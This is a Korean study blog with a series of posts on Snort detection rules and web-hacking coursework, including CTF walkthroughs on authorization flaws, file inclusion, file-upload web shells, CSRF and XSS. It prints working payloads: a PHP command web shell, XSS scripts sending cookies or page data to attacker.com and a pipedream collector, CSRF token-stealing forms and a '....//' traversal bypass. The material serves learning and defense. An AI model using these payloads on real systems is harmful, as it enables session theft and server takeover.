        • content: "abc"; : abc 문자열을 탐지한다.
        • content: "|61 62 63|" : 바이너리값을 탐지한다. (| | 사이에 바이너리 값을 넣는다. 61 62 63은 abc이다.)
          (테스트 해보니 61 62 63을
          띄어써도 되고 붙여써도 되는 것 같다. 하지만 미관상 띄어쓰기를 많이 하는 것 같다.)

      • offset: content 옵션 뒤에 존재해야 한다. 탐지를 어디서 부터 시작할지 시작점을 설정한다. 기본은 0 부터 시작한다. header를 제외한 payload 부분부터 offset이 시작하는 것 같다.
        -65535 에서 65535까지 설정 가능하다.
        (그런데 테스트 해본 결과 음수 값에 대해서는 적용이 잘 안되는 것 같다. 음수 값 설정 시 아마 파이썬처럼 맨 끝부분으로 이동할 것 같은데 잘 되지 않았다. 좀 더 확인이 필요하다.)

      • depth: content 옵션 뒤에 존재해야 한다.(offset과의 순서는 상관 없는 듯 하다.) offset을 기준으로 어느정도까지의 데이터를 검사할 것인가를 설정한다. offset:0;에 depth:3; 이면 payload 1번째(index로 치면 0번째) 를 포함하여 3개의 데이터 내에서 검사를 수행한다.(index로 치면 0,1,2번째)
        1에서 65535 까지 설정이 가능하며, content의 길이와 같거나 큰 값을 가져야 한다.

      • distance: n번째 content 옵션 뒤에 존재해야 한다. 1번째 content로 탐지를 한 후 2번째 이상의 content 탐지를 할 때 처음부터 탐지하지 않고 이전 content 탐지가 끝난 곳에서 몇 번째 부터 2번째의 탐지를 수행할지를 설정한다. -65535 에서 65535까지 설정 가능하다. - 값의 경우 이전 content 탐지가 끝난 곳에서 이전 몇 번째 부터 탐지를 계속할지를 정하는 것 같다.

      • within: distance와 같이 사용한다. depth처럼 어느정도까지의 데이터를 검사할 것인지를 설정한다.
        1에서 65535 까지 설정이 가능하며, content의 길이와 같거나 큰 값을 가져야 한다.

      • nocase: 이전 content 의 대소문자를 구별하지 않고 탐지를 하게 한다.

    • non-payload: 규칙에 의해 탐지된 이후를 지정하는 옵션이다.
      ref: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node33.html
    • post-detection: 페이로드가 아닌 데이터를 확인하는 옵션이다
      ref: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node34.html

 

내가 확인해볼 것은 웹 모의해킹 공부한 것을 패킷으로 탐지하는 공부를 하기로 했기에 아마 general과 payload 옵션을 많이 사용하게 될 것 같다.

 

 

 

3. 테스트

실제로 규칙을 적어서 탐지 기능이 제대로 되는지 확인해봤다.

 

3.1 GET 요청

스노트 규칙들은 /etc/snort/rules에 있는데 이중에서 local.rules에 우리만의 규칙을 적을 수 있다.

 

 

alert tcp any any -> any 80 (msg:"HTTP GET request"; sid:1000001; rev:1; content:"GET"; nocase;)

 

위와 같은 규칙을 추가하였다.

 

sudo snort -c /etc/snort/rules/local.rules

위 명령을 통해 local rule만 적용을 시켜보았다.

 

그 후, 자체 제작한 웹 사이트를 들어가면....

 

/var/log/snort 의 alert 파일에 local rule의 규칙에 의한 alert 가 생긴 것을 알 수 있다.

 

기본적인 스노트 규칙이 통하는 것을 확인했으니, 자체 제작한 사이트를 대상으로 하는 웹 공격을 탐지하는 규칙을 공부해 볼 생각이다.


웹 공격 외에 snort의 다른 옵션을 추가 테스트하였다.

 

3.2 content 테스트

content 테스트를 위한 규칙이다.

alert tcp any any -> any 80 (msg:"Detection string [abc]"; sid:1000001; rev:1; content:"abc"; nocase;)
alert tcp any any -> any 80 (msg:"Detection binary [61 62 63]"; sid:1000002; rev:1; content:"|61 62 63|"; nocase;)

 

abc 문자열을 탐지하는 규칙을 만들었다.

abc 문자열과 abc의 바이너리 값인 61 62 63 을 이용해서 탐지 규칙을 만들었다.

 

 

curl을 통해 POST 형식으로 abc 데이터를 보냈고 서버쪽에서 탐지를 하는 것을 확인하였다.

 

3.3 offset 테스트

offset 테스트를 위한 규칙이다.

alert tcp any any -> any 80 (msg:"Detection binary2_159 [61 62 63]"; sid:1000003; rev:1; content:"|61 62 63|"; offset:159; nocase;)
alert tcp any any -> any 80 (msg:"Detection binary2_160 [61 62 63]"; sid:1000004; rev:1; content:"|61 62 63|"; offset:160; nocase;)
 

 

offset을 지정해서 탐지를 해봤다.

그전에 offset으로 159가 나온 이유를 설명하자면,

 

이게 내가 테스트한 패킷이다. 이에 대한 패킷 데이터는 다음과 같다.

 

여기서 payload가 시작하는 |50 4f| 부분이 54번째 부터인데 offset 이 0이면 여기서부터 탐지를 수행한다.

우리가 찾을 |61 62 63| 은 213~215 번째이다. 따라서 213-54=159 를 offset으로 두면 |61 62 63| 데이터 사이에서 값을 바로 찾을 수 있고 offset을 160으로 했다면 |62 63| 데이터 사이에서 탐지를 하기 때문에 값을 탐지하지 못한다.

 

3.4 depth 테스트

depth 테스트를 위한 규칙이다.

alert tcp any any -> any 80 (msg:"Detection binary3_158_3 [61 62 63]"; sid:1000005; rev:1; content:"|61 62 63|"; offset:158; depth:3; nocase;)
alert tcp any any -> any 80 (msg:"Detection binary3_158_4 [61 62 63]"; sid:1000006; rev:1; content:"|61 62 63|"; offset:158; depth:4; nocase;)
alert tcp any any -> any 80 (msg:"Detection binary3_159_3 [61 62 63]"; sid:1000007; rev:1; content:"|61 62 63|"; offset:159; depth:3; nocase;)

 

사용되는 패킷은 3.2와 같다.

1. 158번째 부터 3개 데이터를 검사 (|0a 61 62| 내에서 탐지)

2. 158번째 부터 4개 데이터를 검사 (|0a 61 62 63| 내에서 탐지)

3. 159번째 부터 3개 데이터를 검사 (|61 62 63| 내에서 탐지)

 

 

예상대로 2,3번 규칙이 탐지를 하였다.

 

3.5 distance 테스트

distance 테스트를 위한 규칙이다.

alert tcp any any -> any 80 (msg:"Detection binary4_1 "; sid:1000008; rev:1; content:"|61 62 63|"; content:"|61 62 63|"; distance:1;)
alert tcp any any -> any 80 (msg:"Detection binary4_2"; sid:1000009; rev:1; content:"|61 62 63|"; offset:159; depth:4; content:"|61 62 63|"; distance:1;)
alert tcp any any -> any 80 (msg:"Detection binary4_3 "; sid:1000010; rev:1; content:"|64 61 62 63|"; content:"|64 61 62 63|"; distance:-1;)
alert tcp any any -> any 80 (msg:"Detection binary4_4 "; sid:1000011; rev:1; content:"|64 61 62 63|"; content:"|64 61 62 63|"; distance:-5;)

 

1. |61 62 63| (abc)가 있는지 탐지하고 데이터 하나를 건너띄고 다시 abc가 있는지 검사한다.

 

위와 같은 abcdabc의 POST 요청에 대해

abc가 있고 d를 건너띄고 abc가 다시있기 때문에 탐지되었다.

 

2. offset 159번째부터 4바이트안에 abc가 있는지 검사하고 1바이트를 건너띄고 다시 abc를 검사한다.

 

위와 같은 abcdabc의 POST 요청에 대해

159번째부터 4바이트안에 abc가 있고 d를 건너띄고 abc가 다시 있기 때문에 탐지되었다.

 

3. 4. dabc를 검사하고 distance의 값을 마이너스를 줘서 다시 dabc를 검사하였다.

 

위와 같은 abcdabc의 POST 요청에 대해

3번 규칙은 탐지를 하지 못했다.

3번 규칙은 처음 dabc를 검사하고 끝으로 이동한 일종의 포인터가 -1을 해서 한칸 뒤로 왔으나 남은 데이터는 c밖에 없어서 dabc를 탐지하지 못했기 때문이다.

그러나 4번 규칙은 -5를 통해 5칸 뒤로 갔기 때문에 남은 데이터가 cdabc였기 때문에 다시 한번 dabc를 탐지할 수 있었다.

 

3.6 within 테스트

within 테스트를 위한 규칙이다.

alert tcp any any -> any 80 (msg:"Detection binary5_1"; sid:1000012; rev:1; content:"|64 61 62 63|"; content:"|64 61 62 63|"; distance:-4; within:4;)
alert tcp any any -> any 80 (msg:"Detection binary5_2"; sid:1000013; rev:1; content:"|64 61 62 63|"; content:"|64 61 62 63|"; distance:-5; within:4;)

 

1. distance가 -4에 within이 4이다.

2. distance가 -5에 within이 4이다.

 

위와 같은 abcdabc의 POST 요청에 대해

 

 

1번 규칙만 탐지되었다.

1번 규칙은 distance가 -4 였기 때문에 dabc를 탐지하고 끝으로 이동한 포인터가 4칸 뒤로 이동해서 남은 데이터가 다시 dabc 가 되었다. 여기서 within을 4로 했기 때문에 dabc중 4개의 데이터를 대상으로 탐지를 수행하고 alert가 발생하였다.

그러나 2번 규칙은 distance가 -5 였기 때문에 남은 데이터가 cdabc이다. within이 4로 했기 때문에 cdab 데이터를 대상으로 탐지를 수행하고 dabc를 탐지할 수 없기 때문에 탐지를 하지 못했다.

 

 

 

여기서는 정보보안기사를 공부할 때 봤었던 옵션들 위주로 테스트를 수행하였다.

이 외에도 많은 스노트 Rule Option들이 있다. 언젠가 이 옵션들에 대해서도 테스트를 수행할 것이다.

 

반응형

댓글()

30. [16주차]-1 인가 취약점

* 과제
1. 인가 취약점 정리
2. 문제 풀기


 

1. 인가 취약점 정리

인증: Athentication: 그 사람이 본인이 맞는지 확인하는 작업

인가: Athorization: 특정 권한을 부여하는 것

 

1.1 인증 취약점 대표 케이스

  • 쿠키를 통한 인증
  • process 점프
    • 회원가입 시 step1.php, step2.php, step3.php 같은 페이지들....
  • 파라미터 응답값 변조
    • 응답값에 따라 분기해서 보여주는 경우가 많은 모바일앱에서 많이 보임

 

1.2 인가 취약점 대표 케이스

  • 주석으로 접근 제한
  • 인가 체크를 클라이언트 측에서 하는 경우
  • guessing 공격
  • 파라미터 변조

 

 

2. 문제 풀기

 

 

 

2.1 authorization 1

로그인을 했더니 위의 화면이 나타났다.

어떻게 할 까 고민하다가 혹시...? 싶어 확인했더니...

 

발사 버튼의 주석을 해제하고 플래그를 얻을 수 있었다.

 

 

2.2 authorization 2

해당 문제는 발사버튼을 클릭하면 goMenu 라는 함수를 호출한다.

해당 함수는 다음과 같으며, php페이지를 직접 호출해도 되고 goMenu('1018', '')을 goMenu('1018', 'admin')으로 고쳐도 된다.

그렇게 플래그를 얻을 수 있었다.

 

 

2.3 authorization 3

위 문제가 같은 방식이다. 단지 이번에는 url이 난독화 돼있어서 바로 호출을 하지 못한다,

goMenu('9999', 'admin')으로 수정해서 발사버튼을 클릭해 플래그를 얻을 수 있었다.

 

 

2.4 authorization 4

이번에는 게시글을 남겨야 하는 문제이다.

게시글은 하나만 있고 수정하는 것도 없다.

여기서 고민하다가 URL을 보니 notice_read.php로 되어있다.

그렇다면, notice_write.php는 어떨까 싶었다.

게시글을 쓰는 화면이 나타났고 게시글을 쓰고 플래그를 얻을 수 있었다.

 

 

2.5 authorization 5

 

이번에는 공지글을 읽는 문제이다.

확인해보니, 일단 글은 읽을 수 없었다.

 

그래서 다른 일반 게시글의 수정 기능을 통해 42번 게시글을 읽으려 했다.

처음에는 경고창이 떠서 실패한 줄 알았는데

버프스위트로 보니 내용은 응답받았는데, 스크립트 때문에 못 본것이였다.

아래로 내려보니 플래그를 얻을 수 있었다.

 

 

2.6 authorization 6

이번에는 관리자의 정보를 얻는 문제다.

 

바로 마이페이지로 왔고 확인해보니 URL에서 ID 값으로 마이페이지를 보여주는 건가 싶었다.

해당 값을 admin으로 바꿔봤고 플래그를 얻을 수 있었다.

 

 

 

 

 

반응형

댓글()

29. [15주차]-1 파일 인클루드 취약점

* 과제

1. 복습

2. CTF
 - Web Shell 3
 - Get Flag File
 - Get Flag File 2


 

1. 복습

파라미터 값에 따라 다른 웹 페이지를 보여주는 경우 인클루드 기능을 통해 다른 웹 페이지를 보여주는 경우가 있다.

php같은 경우 include, include_once, require 함수를 사용한다.

ex)

?lang=ko.php

 

<?php
    include($_GET['lang']);
?>

 

같은 경우 lang 값에 따라 include로 다른 php 파일을 보여준다.

이 경우, lang 값에 따라 서버에 존재하는 임의의 파일을 가져올 수 있다

 

 

2. CTF

 

 

 

2.1 Web Shell 3

기존의 페이지들과 달리 인사말이라는 것이 생겼다.

 

바로 들어가서 확인해보니 각 언어별로 인사말을 보여준다.

ko.php의 경우 한국어를 제공해주는 걸 봐서 lang값에 따라 컨텐츠만 달라지는 걸 알 수 있고, 이 웹사이트에 웹 쉘을 올리면 여기를 통해 실행을 시킬 수 있다는 것을 깨달았다.

 

 

게시판 글쓰기를 통해 바로 웹 쉘을 jpg 형태로 전송하고 올릴 수 있었다.

 

 

파일 다운로드 경로가 위와 같은걸 확인했고

 

인사말 페이지의 경로도 위와 같으니, lang을 통해 ../files/abc1234/webshell.jpg를 실행시키기만 하면 된다.

위처럼 flag 파일을 찾고

 

flag.txt 내용을 cat으로 확인해서 플래그를 얻을 수 있었다.

 

 

2.2 Get Flag File

이번에는 인사말이 없는 페이지이다.

일단 게시판에서 웹쉘을 올려보니 php 확장자는 당연히 안되서 jpg로 올렸다.

 

다운로드 경로를 보니 위와 같았다.

 

일단 jpg를 php처럼 실행시킬 수 있도록 .htaccess 파일을 업로드 하였다.

 

그 후, 파일이 어디 저장되는 지 확인하기 위해 위처럼 download.php 파일을 요청하였고 내용을 확인하였다.

그 결과 files라는 폴더에 저장하는 것을 알아냈다.

 

실제로 위 명령이 제대로 되는 것을 확인하였다.

 

 

flag 파일을 찾기위해 find 명령어를 썼으나, 파일이 나오지 않았다.

사실, 여기서 flag 파일이 없어진 줄 알았으나, 혹시 몰라 grep 명령을 사용해봤다.

 

 

i: 대소문자 구분 없이

r: 하위 폴더 내 파일

 

../을 계속 붙여가며 확인해봤고 플래그를 찾을 수 있었다.

 

 

2.3 Get Flag File 2

Get Flag File가 크게 다른 점은 없었다.

하나 있다면

 

download.php에서 ../ 를 필터링 하고 있었다는 것이다.

그래서 ....// 를 통해 ../가 필터링돼도 ../이 남게 하였다.

 - ..(./)/ 가운데가 ../ 이 필터링돼도 앞쪽과 뒷쪽의 ..와 /가 합혀져 ../ 가 된다.

 

 

역시 find로는 찾을 수 없어 grep으로 찾을 수 있었다.

 

 

 

 

반응형

댓글()

28. [14주차]-1 파일 업로드 공격

* 과제

1. 복습

2. 웹 쉘 문제 풀기


 

1. 복습

파일 업로드 공격은 공격자가 원하는 파일을 업로드하는 공격이다.

파일을 업로드 하는 부분에서 취약점이 발생하며, 업로드되는 파일에 대해 검증 작업을 하지 않아서 문제가 생긴다.

 

웹 쉘 공격의 순서는 다음과 같다

1. 웹 서버 측 실행 코드 파일을 업로드

 - php, jsp, asp 등 이 있다.

 

2. 업로드된 파일의 경로를 알아낸다.
 - 업로드한 파일이 출력되는 곳을 확인한다.
 - 이미지 주소를 복사해서 하는 식으로 확인
 
3. 업로드된 파일 경로를 통해 요청을 한다.(=실행을 한다.)

 

 

파일 업로드에 대해 대응방법이 있다.

 

1. MIME 타입 확인

요청의 Content-Type을 확인하는 것이다.

하지만, 쉽게 변조가 가능하다.

 

2. 실행 권한 제거

파일이 업로드되는 디렉터리는 실행권한을 제거하는 것이다.

하지만, "../file" 이런식으로 경로를 추가해서 다른 디렉터리에 파일을 업로드할 수 있다.

 

3. 확장자 제한

확장자에 대해 블랙리스트 기반의 필터링을 수행한다.

하지만, php의 경우 php3, php5, phtml 등 다른 확장자를 사용할 수 있고 이는 다른 파일들도 마찬가지이다.

따라서 이 모든 경우를 알아야 하기 때문에 관리하기 어렵다.

 

화이트리스트 기반의 필터링도 있다.

서버에서 원하는 확장자인지 확인하고 허용하는 방식인데 이것도 뭔가 우회 방식이 있을 것 같다.

 

 

2. 웹 쉘 문제 풀기

 

 

 

 

2.1 Web Shell 1

들어가면 기존에 많이 보던 페이지가 나온다.

바로 회원가입하고 로그인을 해준다.

 

게시판에서 글쓰기를 한다.

 

파일 업로드 시 abc.php라는 웹 쉘 파일을 넣는데 여기서 처음에 사용자 지정 파일로 이미지만 받을 수 있게 되어있어서 모든 파일로 변경해야 했다.

<?php
	echo system($_GET['cmd']);
?>

매우 간단한 코드이다.

 

 

파일이 성공적으로 올라갔고 링크를 복사해서 파일의 경로를 확인한다.

 

 

해당 URL을 알게 되었으니, cmd 인자를 통해 flag.txt 파일의 위치를 파악한다.

 

 

flat.txt 파일을 cat으로 확인해서 플래그를 얻을 수 있었다.

 

2.2 Web Shell 2

1번 문제와 똑같이 회원가입을 하고 로그인을 수행한다.

그 후 게시판에서 글을 작성한다.

 

php 파일을 바로 넣으면 위처럼 업로드할 수 없다고 한다.

 

버프스위트를 통해 응답을 확인해보니, 이미지 확장자만 허용을 하고 있었다.

 

그래서 먼저 png파일을 업로드하고 그 과정을 버프스위트로 보면서 중간에 요청을 변조해보기로 했다.

 

여기서 원래는 abc.png로 해서는 잘 되서 abc.php로 해보니 응답과 같은 결과가 나왔다.

여기서 파일이 업로드가 안된 줄 알았다.

 

그래서 확장자 필터링을 우회하려고 위처럼 한번 해보고 게시글에서 파일 링크를 확인해서 되는지 해보려고 했다.

 

먼저 공격은 되지 않았고 혹시나 해서 뒤쪽 경로를 지워보기로 했다.

 

그런데 웹 쉘이 올라가있는걸 확인했다.

아마 업로드 될 수 없는 파일이 탐지되었다는 메시지가 있었지만 실제로 파일이 올라갔었나 보다.

 

1번처럼 flag.txt파일을 찾았고 플래그를 얻을 수 있었다.

 

 

반응형

댓글()

27. [13주차]-1 CSRF 이해-2

* 과제

1. CSRF 정리 (SOP, CORS)

 


 

1. CSRF 정리 (SOP, CORS)

CSRF는 요청에 대해 검증을 하지 않아 생기는 문제이다.

그래서 대응방법도 검증을 해야 하는 방법이다.

 

1. referer check

요청에는 referer라는 것이 있다.

해당 요청이 어느 페이지에서 발생한 것인지 알려준다.

 

만약, 비밀번호 변경 요청이 마이페이지가 아닌 게시글 같은 곳에서 온다면 referer는 마이페이지가 아닌 주소가 될 것이고, 이를 정당하지 않은 요청이라고 볼 수 있는 것이다.

그러나, 요즘은 API 를 통해 확장성을 신경쓰는데 이런 방식은 확장성이 떨어지는 문제가 있다.

 

2. CSRF 토큰

뭔가 요청을 하는 페이지에 들어갈 때 랜덤의 토큰값을 만들고 요청 시 토큰값을 포함시키는 것이다.

서버는 토큰값과 사용자의 연결 정보를 갖고 있고 클라이언트에서 요청이 올 때 포함된 토큰을 보고 정당한 토큰인지, 정당한 사용자인지 확인한다.

 

그러나, 이전 포스트의 문제풀이에서 볼 수 있듯이 iframe을 통해 토큰 값을 가져오는 방법이 있다.

 

3. 인증정보 추가

중요 요청에 대해서 재인증을 거치는 것이다.

예를 들어, 비밀번호 변경의 경우 이전 비밀번호를 넣게 하면 공격자가 임의로 요청을 만들 수 없게 된다.

 

 

1.1 SOP

Same Origin Policy의 약자로 동일 출처 정책이라고 한다.

 

CSRF공격을 하기 위해서 해당 사이트의 취약점을 찾았다.

그런데 해당 사이트가 아닌 내가 만든 사이트에 공격 스크립트를 올리고 희생자에게 내 사이트 링크를 주면 되는거 아닌가 라는 의문이 생길 것이다.

 

이를 막기 위해 SOP 정책이 생겨났다.

다른 사이트간의 요청을 제한하는 것이다.

 

동일 출처의 기준으로 schema, domain, port를 확인한다.

예를 들어, https://example.com:80 이라는 사이트 가 있다면,

 

스키마: https

도메인: example

포트: 80

 

이 3개가 모두 일치해야 동일 출처라고 인식하는 것이다.

 

 

1.2 CORS

Cross Origin Resource Sharing의 약자로 교차 출처 리소스 공유라고 한다.

SOP가 너무 엄격해서 약간의 예외를 만든 것이다.

 

몇 가지 규칙을 지키면 다른 출처에서도 요청을 하고 데이터를 사용할 수 있다.

 

응답의 Acess-Controll-Allow-Origin 헤더에 다른 출처가 있으면 된다.

그럼 그 다른 출처는 일종의 허가를 받은 것이다.

 

여기에도 약간의 문제가 있는데, 개발자들의 귀찮음이다.

 

1. Acess-Controll-Allow-Origin: *

ACAO에 *을 넣어 모든 출처를 허용하는 것이다.

이는 안쓰는 것과 같기 때문에 해서는 안된다.

 

처음에는 *을 쓰지 못하게 했으나, 개발자들의 편의를 위해 다시 넣었고 대신 다른 출처에서 쿠키를 포함한 요청에 대한 응답에는 *을 쓰지 못하게 만들었다고 한다.

 

2. Origin 값을 그대로 사용

요청의 Origin 헤더는 요청을 보낸 URL이 들어가 있는데 응답을 보낼 때 ACAO에 이 값을 그대로 넣는 경우가 있다.

* 을 쓰지 못하니까 쓰는 것인데, 이 역시 해서는 안된다.

 

 

 

 

 

 

반응형

댓글()

26. [12주차]-1 CSRF 이해

* 과제

1. CSRF 복습

2. CSRF 문제 풀이


 

1. CSRF 복습

CSRF는 Cross Site Request Foregy의 줄임말로 서버로 요청을 하게 만드는 공격이다.

공격자는 URL을 만들어 희생자에게 보내면 희생자는 해당 URL을 클릭하고 자기도 모르게 서버로 요청을 보내게 된다.

 

CSRF vs XSS

XSS: 클라이언트 측에서 실행되는 스크립트를 삽입하는 공격
 - 클라이언트 측 공격이라고 표현하기도 함
CSRF: 클라이언트에게 위조된 요청을 실행하게 하는 공격 
 - 서버 측 공격이라고 표현하기도 함

 

CSRF는 XSS와 같이하면 더 효과적인 공격이 된다. CSRF는 URL을 희생자가 클릭해야 하지만, XSS취약점을 이용해서 클릭없이 바로 요청을 실행하게 할 수 있다.

ex) <img src="csrf url"> : csrf url로 요청을 보내게 된다.

 

CSRF는 서버로 요청을 보내는 모든 부분에서 가능성이 있다고 봐야한다.

물론 모든 요청이 중요한 것은 아니기 때문에 판단이 필요하다.

공격자가 활용할 수 있겠다 싶은 요청에 대해서 해당 요청을 임의로 만들 수 있다면 CSRF취약점으로 판단하는 것이다.

ex) 비밀번호 변경 요청에 대해서 추가 인증 없이 새로운 비밀번호만 입력 데이터로 갖는 요청

 - 이런 경우는 기존 비밀번호 입력 같이 추가 인증을 통해 임의로 요청을 만들 수 없게 해야 한다.

 

CSRF가 URL을 클릭해야 하는 공격(GET방식)이니 POST 방식의 요청은 괜찮은 것 아닐까 싶겠지만 그렇지 않다.

POST 방식은 반만 맞다고 봐야한다.

 

CSRF 취약점의 문제는 추가 인증을 하지 않는 것이니 만큼 같은 취약점이 POST 방식에서도 나타날 수 있다.

form 태그를 사용해서 POST 방식의 요청을 보내게 하면 된다. (이런 경우 XSS 취약점이 필수로 있어야 한다.)

 <iframe name="frame" width="0" height="0" border="0" style="display:none"></iframe>  
  
<form method="POST" action="url" id="myform" target="frame">
<input type="hidden" name="parameter 이름" value="test@test.com"/>
<input type="submit" value="click me"

</form>	


<script>
	docuemnt.getElementById("myform").submit();
</script>

 

form 태그를 이용해 POST 방식으로 요청을 만들고 script의 submit으로 자동으로 보내게 하는 것이다.

이 때 form 의 결과는 현재 페이지가 아닌 iframe으로 가게 만들었다.

 

 

2. CSRF 문제 풀이

 

 

 

 

2.1 GET Admin 1

 

이번 문제는 계정을 만들면 그에 대응되는 관리자 계정이 생기는데 이 관리자 계정에 대해 CSRF 공격을 수행하는 것이다.

 

abc1234라는 아이디를 만들었고 마이페이지에서 비밀번호 변경이 가능한 것과 게시판에서 XSS 공격이 되는 것을 확인했다.

그 후 아래처럼 게시판 글에 대해 스크립트를 삽입하고 관리자 봇에 입력시켰다.

 

그러나, 공격이 되지 않았다.

회워정보 수정 시 alert 창이 뜨는데 그걸 제거하지 못해서 공격이 되지 않은 듯 싶다.

 

마이페이지에서 패스워드 변경 시 POST 메소드를 사용하는데 이걸 GET으로 바꿔도 변경이 되는지 확인하였다.

 

GET메소드여도 패스워드가 변경이 되는 것을 확인했고, 이 url을 게시판에 넣었다.

 

<img src="패스워드 변경 url">

 

그리고 게시판 url을 관리자 봇에 입력하니 관리자 패스워드가 변경되었고 로그인을 통해 플래그를 얻을 수 있었다.

 

2.2 GET Admin 2

1번 문제와 같은 형식이다.

다만 차이라면, 이번에는 GET 메소드로 바꿔서 하는 공격이 되지 않는다.

 

그 외에는 유사하다.

마이페이지에서 CSRF 취약점을 찾고 게시판에서 XSS 취약점을 찾아 아래처럼 공격 스크립트를 작성했다.

이번에도 alert 창이 떠서 처음에는 실패했지만, 찾아보니 iframe에 sandbox라는 스크립트 실행을 제한하는 설정이 있었다.

 

아마 1번 문제에서도 사용했다면 통하지 않았을까 싶다.

 

위 게시판 주소를 관리자 봇에 입력시키고 플래그를 얻을 수 있었다.

 

 

2.3 GET Admin 3

 

이번 문제도 위의 문제들과 유사하다.

단지 마이페이지에 들어갈 때 마다 input hidden으로 csrf_token 이 있다는 다른점이 존재한다.

즉, 마이페이지를 통해 정보를 수정하려면 cstf_token이 있어야 수정이 가능한 것이다.

 

공격을 위해서는

csrf_token을 가져와서 POST 데이터에 추가해야 한다.

 

iframe을 2개를 준비해야 한다.

마이페이지에서 csrf_token을 가져오는 용도와 form action 결과를 보여주기 위한 용도이다.

 

먼저 csrf_token을 가져와서 input 에 동적으로 추가한 뒤 전송한다.

 

 

 

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=abc1234" id="frame_token" style="display:none;"></iframe>

<iframe id="id_frame" name="frame" style="display:none;" sandbox=""></iframe>
<form method="POST"
action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="myform" target="frame">
<input type="hidden" name="id" value="">
<input type="hidden" name="info" value="">
<input type="hidden" name="pw" value="1234">
</form>
<script>	
		
		setTimeout(function(){
			var doc = document.getElementById("frame_token").contentDocument;
			var token = doc.getElementsByName("csrf_token")[0].value;
			//console.log(token);

			var form = document.getElementById("myform");
		  var input = document.createElement("input");			
		  input.setAttribute('type', 'hidden');
			input.setAttribute('name', 'csrf_token');
		  input.setAttribute('value', token);
	  	form.appendChild(input);

  		// console.log(form);
			form.submit();
		}, 200);

</script>

 

위와 같은 방식을 이용해 관리자봇으로부터 관리자 비밀번호를 변경하였고 플래그를 얻을 수 있었다.

 

여기서 주의할 것이 id_frame이라는 iframe은 sandbox="" 을 했지만, frame_token이라는 iframe은 sandbox=""을 하면 안된다는 것이다.

만약 그렇지 않으면 우리가 스크립트로 frame_token이라는 iframe에 접근하는 것이 안되는 문제가 생긴다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

반응형

댓글()

25. [11주차]-1 XSS 문제풀이-2

* 과제

1. 수업 내용 정리
2. 문제 풀기

 


 

1. 수업 내용 정리

총 3가지 종류의 XSS 공격 기법을 배웠다.

 

1. Stored XSS: 게시판 같은 이용자 입력데이터를 저장하는 곳에서 발생

2. Reflected XSS: 검색 같은 이용자 입력데이터를 바로 처리하는 곳에서 발생

3. DOM Based XSS: 이용자의 입력데이터를 이용해 HTML 태그를 만드는 곳에서 발생

 

<script>
var data = document.cookie;

//GET
// 이미지 태그
var i = new Image();
i.src="http://attacker.com/" + data

</scrcipt>

 

기본적으로 위와 같은 형식의 공격 스크립트를 사용한다.

1. 쿠키 값을 가져온다.

2. Image()의 src를 이용해서 공격자의 웹 서버로 쿠키 데이터를 붙여서 GET 요청을 보내게 한다.

 

 

XSS취약점의 대응방안이 몇개 있다.

1. 특정단어를 막는 블랙리스트 기반

2. 특정단어를 허용하는 화이트리스트 기반

 

블랙리스트 기반은 우회될 가능성이 있다.

대소문자를 섞어서 쓰던가, 단어를 중복해서 쓰는 것이다.(ex. scrscriptipt, script를 지워도 앞뒤의 scr ipt 때문에 script 단어가 그대로 사용된다.)

 

onmouseover, autofocus, onfocus 같은 이벤트를 사용하는 경우도 있다.

 

근본적인 대책은 HTML Entity 치환이다.

그러나 HTML 에디터 기능을 제공하는 사이트라면 복잡해진다. 에디터 기능 상 왠만하면 입력이 가능해야 하기 때문이다. 따라서 아래의 절차를 거쳐 XSS 취약점에 대응해야 한다.

 

1. 파라미터에서 html 특수문자들을 전부 entity로 치환한다.

2. 허용해줄 tag를 식별하고 그 tag는 다시 살린다.
(화이트리스트기반)

3. 살려준 tag내에 악의적인 이벤트 핸들러 필터링
(블랙리스트기반)
ex) img 태그에서 src는 상관없지만 onerror 같은 건 필터링 필요

 

 

 

2. 문제 풀기

 

 

 

2.1. Basic Script Prac

1번 문제는 강의에서 힌트를 주어서 마이페이지의 Flag Here 라는 곳에서 플래그를 얻을 수 있다고 했다.

 

 

 

abc1234">
<script>
    setTimeout(function(){
    var data=document.getElementsByTagName("input")[1].placeholder;
    var i=new Image();i.src="https://en3fk1iqctav.x.pipedream.net/"+data;
    },500);
</script>
<"

위와 같은 코드를 넣어 Flag Here 에서 값을 가져올 수 있게 하고 url을 관리자 봇에 넣어 플래그를 얻을 수 있었다.

 

 

2.2. Steal Info

이 문제는 아래와 같은 마이페이지를 주고 관리자 페이지도 이와 똑같다고 설명하고 있다.

아마 내 정보 칸에 플래그가 있음을 짐작할 수 있다.

기존에 쓰던 게시판을 이용해서 여기서 XSS 공격을 수행한다.

 

업데이트 기능을 인터셉트해서 아래 처럼 공격 코드를 넣었다.

게시판에서 iframe을 이용해서 관리자 페이지의 html에 접근하는 코드이다.

그냥 하면 안되길래, setTimeout을 이용해서 시간차를 주니까 동작한다.

 

해당 게시글에 대한 url을 관리자 봇에 입력하니 플래그를 얻을 수 있었다.

 

 

2.3. Steal Info 2

admin 계정의 마이페이지의 정보란에 flag가 있다는 내용이다.

먼저 내 계정의 마이페이지를 확인한다.

아마 여기서 Nothin Here... 일 거 같은데...

 

마이페이지에서는 XSS 공격이 되지 않는 듯 했다.

그래서 2번 문제처럼 iframe을 이용하기로 했다.

게시판으로 이동해서

위와 같은 코드를 입력한다.

마이페이지에서 info 내용을 추출하는 코드이다.

 

그렇게 플래그를 얻을 수 있었다.

 

반응형

댓글()

24. [10주차]-1 XSS 문제 풀이

* 과제

1. 오늘 수업 정리
2. XSS 문제 풀이
3. XSS 공격 시나리오 연구

 


 

1. 오늘 수업 정리

저번 주차에 배운 1. Stored XSS, 2. Reflected XSS 에 이어 3. DOM Based XSS 공격을 배웠다.

DOM Based XSS는 이용자의 입력 데이터를 이용해서 동적으로 HTML 태그를 생성해서 보여줄 때 XSS 취약점이 있는 경우이다.

 

document.write 나 innerHTML을 자주 사용한다.

Reflected XSS처럼 URL 링크를 클릭해야 하는 공격이다.

 

XSS의 취약점에 대한 대응방안은 간단하다.

< " ' > 와 같은 특수문자를 HTML Entity로 치환하는 것이다.

(&lt;나 &gt; 같은 것을 말한다.)

 

 

2. XSS 문제 풀이

 

 

 

 

2.1. XSS 1

 

먼저 적당한 계정으로 회원가입부터 수행한다.

